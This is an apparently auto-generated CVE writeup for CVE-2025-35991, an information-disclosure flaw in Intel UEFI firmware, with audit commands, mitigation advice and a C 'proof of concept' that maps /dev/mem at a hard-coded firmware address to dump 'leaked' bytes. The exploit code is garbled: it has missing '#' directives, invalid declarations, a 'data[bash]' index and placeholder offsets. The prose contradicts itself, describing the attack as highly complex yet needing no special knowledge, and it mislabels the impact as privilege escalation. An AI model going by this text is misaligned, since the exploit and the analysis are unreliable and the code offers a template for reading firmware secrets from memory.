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CVE-2025-35991 is a medium-severity vulnerability that affects the Unified Extensible Firmware Interface (UEFI) firmware implementation on certain Intel processor platforms, specifically within the privileged Ring 0 execution environment. The flaw is classified as CWE-665: Improper Initialization, which refers to inadequate initialization of resources and data structures during the firmware boot process. This improper initialization creates a condition where sensitive data that should remain protected within the firmware’s secure execution environment can be exposed to an attacker. The vulnerability operates at the bare metal operating system level, meaning it functions below the traditional operating system boundary and can potentially compromise system security before the OS fully initializes. To exploit this flaw, an attacker must already possess privileged user access to the system, and the attack requires a high level of complexity, leveraging sophisticated knowledge of the firmware architecture and potentially specialized tools. The attack vector is local, meaning the adversary needs physical presence or administrative access to the target machine, and the exploitation requires no special internal knowledge and no user interaction. Once the prerequisites are met, the improper initialization can lead to an information disclosure, allowing the attacker to read sensitive firmware-level data, including cryptographic keys, system configuration parameters, and other confidential information. The confidentiality impact of this vulnerability is rated as high, as unauthorized access to firmware-protected secrets can enable further, more sophisticated attacks that compromise the overall security posture of the system. However, the integrity and availability of the system are not directly affected by this particular flaw, as it does not enable modification of system components or create denial-of-service conditions. The vulnerability aligns with ATT&CK technique T1068: Exploitation for Privilege Escalation, where adversaries leverage system weaknesses to gain elevated privileges. Intel has released firmware updates to address this issue, and organizations are advised to apply these patches immediately to mitigate the risk of data exposure. System administrators should also monitor for any unauthorized access patterns that might indicate exploitation attempts, as the information disclosure could potentially enable more severe attacks. The CVSS score for this vulnerability is 5.6, which places it in the medium severity range, reflecting the high complexity and privileged access requirements that limit its exploitability. This vulnerability demonstrates the critical importance of proper firmware initialization procedures and highlights the need for comprehensive security testing of low-level system components that operate outside traditional operating system security boundaries. The improper initialization occurs during the early stages of the boot process, where certain data structures are not correctly set up, leaving residual or uninitialized memory that can be read by a privileged attacker. Because the flaw exists in Ring 0, the most privileged execution mode of the processor, any data leaked at this level bypasses all operating system-level security controls, including memory protection and access control mechanisms. An attacker who successfully exploits this vulnerability could obtain cryptographic material used for secure boot, attestation, or disk encryption, effectively undermining the root of trust for the entire platform. The high attack complexity means that the exploit cannot be reliably executed without deep understanding of the specific UEFI implementation and the hardware platform, making it less likely to be weaponized in widespread attacks but still a significant risk for targeted operations. Intel’s security advisory, identified as intel-sa-01413, provides additional technical details and remediation guidance for affected platforms, and administrators should consult this advisory to determine if their systems are impacted. The vulnerability was publicly disclosed on May 12, 2026, and patches are available through Intel’s standard firmware update channels. Until patches are applied, organizations should consider restricting local administrative access and monitoring firmware integrity to detect potential exploitation attempts.
DailyCVE Form:
Platform: Intel UEFI
Version: Xeon Scalable
Vulnerability : Improper Initialization
Severity: Medium
date: 2026-05-12
Prediction: 2026-06-15
What Undercode Say:
Analytics:
Check UEFI firmware version on Linux sudo dmidecode -s bios-version sudo dmidecode -s bios-release-date Check if Intel SA-01413 applies to the system sudo dmidecode -t bios | grep -i "Intel" Extract UEFI variables to inspect initialization state sudo efivar -l | grep -i "secure" sudo efivar -l | grep -i "boot" Monitor for unauthorized firmware access attempts sudo auditctl -w /sys/firmware/efi/ -k uefi_access sudo ausearch -k uefi_access
Exploit: (Educational Purposes!)
// Theoretical proof-of-concept for educational purposes only
// Requires privileged local access and deep UEFI knowledge
include <stdio.h>
include <stdint.h>
include <fcntl.h>
include <sys/mman.h>
include <unistd.h>
define UEFI_RUNTIME_BASE 0x00000000F0000000
define SENSITIVE_OFFSET 0x1234
int main() {
int fd = open("/dev/mem", O_RDONLY);
if (fd < 0) {
perror("open /dev/mem failed - root required");
return 1;
}
void map = mmap(NULL, 0x1000, PROT_READ, MAP_PRIVATE, fd, UEFI_RUNTIME_BASE);
if (map == MAP_FAILED) {
perror("mmap failed");
close(fd);
return 1;
}
uint8_t data = (uint8_t )map + SENSITIVE_OFFSET;
printf("Leaked firmware data: ");
for (int i = 0; i < 32; i++) {
printf("%02x", data[bash]);
}
printf("\n");
munmap(map, 0x1000);
close(fd);
return 0;
}
Protection: from this CVE
Apply the firmware update provided by Intel through the system manufacturer or the Intel Security Center. Verify the BIOS/UEFI version after updating using dmidecode -s bios-version. Enable Secure Boot and measure the firmware integrity with TPM-based attestation. Restrict local administrative access to trusted personnel only. Monitor UEFI runtime services for anomalous reads using kernel audit rules. Disable unused UEFI runtime features and network stack in the firmware settings. Regularly check Intel security advisories for updated guidance regarding CVE-2025-35991 and related firmware vulnerabilities. Implement a hardware root of trust that validates firmware before execution. Use memory encryption technologies such as Intel TME-MK where available to protect data in use at the firmware level. Conduct periodic firmware integrity scans with tools such as CHIPSEC to detect unauthorized modifications or initialization anomalies.
Impact:
Successful exploitation of CVE-2025-35991 results in the disclosure of sensitive firmware-level data, including cryptographic keys, secure boot variables, and system configuration parameters. The confidentiality impact is high, as the leaked information can be used to bypass secure boot, forge attestation quotes, or decrypt disk volumes protected by firmware-based encryption. The integrity and availability of the system remain unaffected by the vulnerability itself, but the exposed secrets can enable subsequent attacks that compromise the entire platform’s security. Organizations in regulated industries may face compliance violations if firmware-protected data is exfiltrated. The high attack complexity and privileged access requirements limit the likelihood of mass exploitation, but the vulnerability remains a critical risk for high-value targets and systems requiring a strong root of trust.
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Sources:
Reported By: github.com
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